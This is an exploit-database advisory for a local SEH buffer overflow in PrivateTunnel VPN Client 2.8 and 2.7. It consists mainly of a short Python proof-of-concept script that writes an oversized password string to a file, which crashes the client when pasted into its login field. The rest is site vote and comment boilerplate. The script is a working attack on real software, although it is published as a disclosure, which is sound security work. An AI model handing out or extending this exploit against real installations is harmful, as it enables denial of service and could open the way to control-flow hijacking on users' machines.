PrivateTunnel Client 2.8 - Local Buffer Overflow

2017.04.26

Credit: Muhann4d

Risk: High

Local: Yes

Remote: No

CVE: N/A

CWE: CWE-119

#!/usr/bin/python
# Exploit Title     : Private Tunnel VPN Client 2.8 - Local Buffer Overflow (SEH)
# Date              : 25/04/2017
# Exploit Author    : Muhann4d
# Vendor Homepage   : https://www.privatetunnel.com
# Software Link     : https://swupdate.openvpn.org/privatetunnel/client/privatetunnel-win-2.8.exe
# Affected Versions : 2.8 & 2.7   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 SP1 32bit 64bit
# Proof of Concept  : run the exploit, copy the contents of poc.txt, paste it in the password field and press Login.
 
 
junkA = "\x41" * 1996
nSEH = "\x42" * 4
SEH = "\x43" * 4
junkD = "\x44" * 9000
f = open ("poc.txt", "w")
f.write(junkA + nSEH + SEH + junkD)
f.close()

References:

https://swupdate.openvpn.org/privatetunnel/client/privatetunnel-win-2.8.exe

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

PrivateTunnel Client 2.8 - Local Buffer Overflow

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.